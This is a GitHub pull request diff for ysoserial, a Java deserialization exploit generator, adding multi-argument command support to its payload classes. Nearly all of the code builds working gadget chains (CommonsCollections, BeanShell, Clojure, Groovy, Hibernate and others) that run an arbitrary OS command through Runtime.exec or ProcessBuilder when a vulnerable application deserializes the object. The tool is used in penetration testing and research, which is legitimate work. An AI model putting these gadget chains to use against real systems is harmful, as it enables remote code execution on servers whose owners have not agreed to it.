Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

WIP: Multiarg support #74

Open
wants to merge 6 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
3 changes: 2 additions & 1 deletion pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -58,9 +58,10 @@
<artifactId>maven-surefire-plugin</artifactId>
<version>2.20</version>
<configuration>
<rerunFailingTestsCount>2</rerunFailingTestsCount> <!-- for flaky Wicket1 test -->
<trimStackTrace>false</trimStackTrace>
<systemPropertyVariables>
<java.rmi.server.useCodebaseOnly>false</java.rmi.server.useCodebaseOnly>
<java.rmi.server.useCodebaseOnly>false</java.rmi.server.useCodebaseOnly>
</systemPropertyVariables>
</configuration>
</plugin>
Expand Down
20 changes: 16 additions & 4 deletions src/main/java/ysoserial/GeneratePayload.java
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@
import java.io.PrintStream;
import java.util.*;

import ysoserial.payloads.ExtendedObjectPayload;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.annotation.Authors;
Expand All @@ -14,12 +15,12 @@ public class GeneratePayload {
private static final int USAGE_CODE = 64;

public static void main(final String[] args) {
if (args.length != 2) {
if (args.length < 2) {
printUsage();
System.exit(USAGE_CODE);
}
final String payloadType = args[0];
final String command = args[1];
final String[] command = Arrays.copyOfRange(args, 1, args.length);

final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
Expand All @@ -31,7 +32,18 @@ public static void main(final String[] args) {

try {
final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command);
final Object object;
if (payload instanceof ExtendedObjectPayload) {
ExtendedObjectPayload extended_payload = (ExtendedObjectPayload) payload;
object = extended_payload.getObject(command);
}
else {
if (command.length > 1) {
System.err.println("The payload '" + payloadType + "' does not support arguments");
}
object = payload.getObject(command[0]);
}

PrintStream out = System.out;
Serializer.serialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object);
Expand All @@ -45,7 +57,7 @@ public static void main(final String[] args) {

private static void printUsage() {
System.err.println("Y SO SERIAL?");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar payload [arguments ...]");
System.err.println(" Available payload types:");

final List<Class<? extends ObjectPayload>> payloadClasses =
Expand Down
19 changes: 17 additions & 2 deletions src/main/java/ysoserial/Strings.java
Original file line number Diff line number Diff line change
@@ -1,7 +1,5 @@
package ysoserial;

import org.apache.commons.lang.StringUtils;

import java.util.Arrays;
import java.util.Comparator;
import java.util.LinkedList;
Expand All @@ -21,6 +19,10 @@ public static String join(Iterable<String> strings, String sep, String prefix, S
return sb.toString();
}

public static String join(Iterable<String> strings, String sep) {
return Strings.join(strings, sep, null, null);
}

public static String repeat(String str, int num) {
final String[] strs = new String[num];
Arrays.fill(strs, str);
Expand Down Expand Up @@ -48,6 +50,19 @@ public static List<String> formatTable(List<String[]> rows) {
}
return lines;
}

public static String escapeJavaString(String str) {
return str.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"");
}

public static String[] escapeJavaStrings(String[] strs) {
String[] res = new String[strs.length];
for (int i = 0; i < res.length; i++) {
res[i] = escapeJavaString(strs[i]);
}
return res;
}


public static class ToStringComparator implements Comparator<Object> {
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
Expand Down
55 changes: 28 additions & 27 deletions src/main/java/ysoserial/payloads/BeanShell1.java
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator;
import java.util.List;
import java.util.PriorityQueue;

import ysoserial.Strings;
Expand All @@ -22,41 +23,41 @@
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.beanshell:bsh:2.0b5" })
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {

public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload
public class BeanShell1 extends ExtendedObjectPayload<PriorityQueue> {

public PriorityQueue getObject(String[] command) throws Exception {
// BeanShell payload

String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
Arrays.asList(Strings.escapeJavaStrings(command)),
",", "\"", "\"") +
"}).start();return new Integer(1);}";

// Create Interpreter
Interpreter i = new Interpreter();

// Evaluate payload
i.eval(payload);

// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);

// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);

return priorityQueue;
// Create Interpreter
Interpreter i = new Interpreter();
// Evaluate payload
i.eval(payload);
// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(BeanShell1.class, args);
PayloadRunner.run(BeanShell1.class, args);
}
}
19 changes: 3 additions & 16 deletions src/main/java/ysoserial/payloads/Clojure.java
Original file line number Diff line number Diff line change
Expand Up @@ -26,23 +26,11 @@
*/
@Dependencies({"org.clojure:clojure:1.8.0"})
@Authors({ Authors.JACKOFMOSTTRADES })
public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
public class Clojure extends ExtendedObjectPayload<Map<?, ?>> {

public Map<?, ?> getObject(final String command) throws Exception {
public Map<?, ?> getObject(final String[] command) throws Exception {

// final String[] execArgs = command.split(" ");
// final StringBuilder commandArgs = new StringBuilder();
// for (String arg : execArgs) {
// commandArgs.append("\" \"");
// commandArgs.append(arg);
// }
// commandArgs.append("\"");


// final String clojurePayload =
// String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2));

String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");
String cmd = Strings.join(Arrays.asList(Strings.escapeJavaStrings(command)), " ", "\"", "\"");

final String clojurePayload =
String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
Expand Down Expand Up @@ -70,5 +58,4 @@ public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Clojure.class, args);
}

}
4 changes: 2 additions & 2 deletions src/main/java/ysoserial/payloads/CommonsBeanutils1.java
Original file line number Diff line number Diff line change
Expand Up @@ -14,9 +14,9 @@
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({ Authors.FROHOFF })
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public class CommonsBeanutils1 extends ExtendedObjectPayload<Object> {

public Object getObject(final String command) throws Exception {
public Object getObject(final String[] command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
Expand Down
8 changes: 4 additions & 4 deletions src/main/java/ysoserial/payloads/CommonsCollections1.java
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
package ysoserial.payloads;

import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
Expand Down Expand Up @@ -44,10 +45,9 @@
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public class CommonsCollections1 extends ExtendedObjectPayload<InvocationHandler> {

public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
public InvocationHandler getObject(final String[] command) throws Exception {
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
Expand All @@ -61,7 +61,7 @@ public InvocationHandler getObject(final String command) throws Exception {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new Class[] { String[].class }, new Object[] { command }),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();
Expand Down
4 changes: 2 additions & 2 deletions src/main/java/ysoserial/payloads/CommonsCollections2.java
Original file line number Diff line number Diff line change
Expand Up @@ -27,9 +27,9 @@
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
@Authors({ Authors.FROHOFF })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public class CommonsCollections2 extends ExtendedObjectPayload<Queue<Object>> {

public Queue<Object> getObject(final String command) throws Exception {
public Queue<Object> getObject(final String[] command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
Expand Down
4 changes: 2 additions & 2 deletions src/main/java/ysoserial/payloads/CommonsCollections3.java
Original file line number Diff line number Diff line change
Expand Up @@ -30,9 +30,9 @@
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
public class CommonsCollections3 extends ExtendedObjectPayload<Object> {

public Object getObject(final String command) throws Exception {
public Object getObject(final String[] command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);

// inert chain for setup
Expand Down
4 changes: 2 additions & 2 deletions src/main/java/ysoserial/payloads/CommonsCollections4.java
Original file line number Diff line number Diff line change
Expand Up @@ -26,9 +26,9 @@
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
public class CommonsCollections4 extends ExtendedObjectPayload<Queue<Object>> {

public Queue<Object> getObject(final String command) throws Exception {
public Queue<Object> getObject(final String[] command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);

ConstantTransformer constant = new ConstantTransformer(String.class);
Expand Down
7 changes: 3 additions & 4 deletions src/main/java/ysoserial/payloads/CommonsCollections5.java
Original file line number Diff line number Diff line change
Expand Up @@ -54,10 +54,9 @@
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public class CommonsCollections5 extends ExtendedObjectPayload<BadAttributeValueExpException> {

public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
public BadAttributeValueExpException getObject(final String[] command) throws Exception {
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
Expand All @@ -71,7 +70,7 @@ public BadAttributeValueExpException getObject(final String command) throws Exce
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new Class[] { String[].class }, new Object[] { command }),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();
Expand Down
9 changes: 3 additions & 6 deletions src/main/java/ysoserial/payloads/CommonsCollections6.java
Original file line number Diff line number Diff line change
Expand Up @@ -35,12 +35,9 @@
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER })
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {

public Serializable getObject(final String command) throws Exception {

final String[] execArgs = new String[] { command };
public class CommonsCollections6 extends ExtendedObjectPayload<Serializable> {

public Serializable getObject(final String[] command) throws Exception {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
Expand All @@ -50,7 +47,7 @@ public Serializable getObject(final String command) throws Exception {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new Class[] { String[].class }, new Object[] { command }),
new ConstantTransformer(1) };

Transformer transformerChain = new ChainedTransformer(transformers);
Expand Down
24 changes: 24 additions & 0 deletions src/main/java/ysoserial/payloads/ExtendedObjectPayload.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
package ysoserial.payloads;

import java.util.LinkedList;
import java.util.List;
import java.util.StringTokenizer;

public abstract class ExtendedObjectPayload<T> implements ObjectPayload<T> {
abstract public T getObject(String[] command) throws Exception;

/**
* Method to keep backward compatibility with ObjectPayload
* using StringTokenizer used in java.lang.Runtime.exec(String)
*/
@Override
public T getObject(String command) throws Exception {
final StringTokenizer tokenizer = new StringTokenizer(command);
final List<String> commandTokenized = new LinkedList<String>();
while (tokenizer.hasMoreTokens()) {
commandTokenized.add(tokenizer.nextToken());
}
final String[] commandTokenizedArray= commandTokenized.toArray(new String[0]);
return this.getObject(commandTokenizedArray);
}
}
4 changes: 2 additions & 2 deletions src/main/java/ysoserial/payloads/Groovy1.java
Original file line number Diff line number Diff line change
Expand Up @@ -29,9 +29,9 @@
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
@Authors({ Authors.FROHOFF })
public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public class Groovy1 extends ExtendedObjectPayload<InvocationHandler> {

public InvocationHandler getObject(final String command) throws Exception {
public InvocationHandler getObject(final String[] command) throws Exception {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");

final Map map = Gadgets.createProxy(closure, Map.class);
Expand Down
4 changes: 2 additions & 2 deletions src/main/java/ysoserial/payloads/Hibernate1.java
Original file line number Diff line number Diff line change
Expand Up @@ -37,7 +37,7 @@
* @author mbechler
*/
@Authors({ Authors.MBECHLER })
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
public class Hibernate1 extends ExtendedObjectPayload<Object> implements DynamicDependencies {

public static String[] getDependencies () {
if ( System.getProperty("hibernate5") != null ) {
Expand Down Expand Up @@ -96,7 +96,7 @@ public static Object makeHibernate5Getter ( Class<?> tplClass, String method ) t
}


public Object getObject ( String command ) throws Exception {
public Object getObject ( String[] command ) throws Exception {
Object tpl = Gadgets.createTemplatesImpl(command);
Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
return makeCaller(tpl, getters);
Expand Down